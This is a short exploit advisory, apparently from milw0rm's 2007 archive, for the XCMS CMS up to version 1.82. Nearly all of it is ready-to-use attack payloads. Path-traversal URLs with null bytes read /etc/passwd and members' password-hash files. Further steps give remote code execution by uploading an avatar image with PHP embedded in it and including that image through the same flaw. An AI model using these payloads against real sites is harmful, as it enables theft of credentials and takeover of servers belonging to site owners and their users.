XCMS <= 1.82 Remote Local File Inclusion Vulnerability

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# XCMS <= 1.82 LFI & RCE Xpl
# Nexen rocked this one ;)
# LFIs
http://127.0.0.1/xcms/index.php?pg=admin&s=../../../../../etc/passwd\0
http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../../../../etc/passwd\0

# Hash disclosure
http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../dati/membri/[username].dtb\0

# RCE:
Doing RCE is more difficult, you must have an image with a php code binded (you can use edjpgcom to do that)
now upload that image on your panel, and exploit rce trough lfi:

http://127.0.0.1/xcms/index.php?mod=[existing module]&pg=../../uploads/avatar/[your_username].jpg\0

# milw0rm.com [2007-12-28]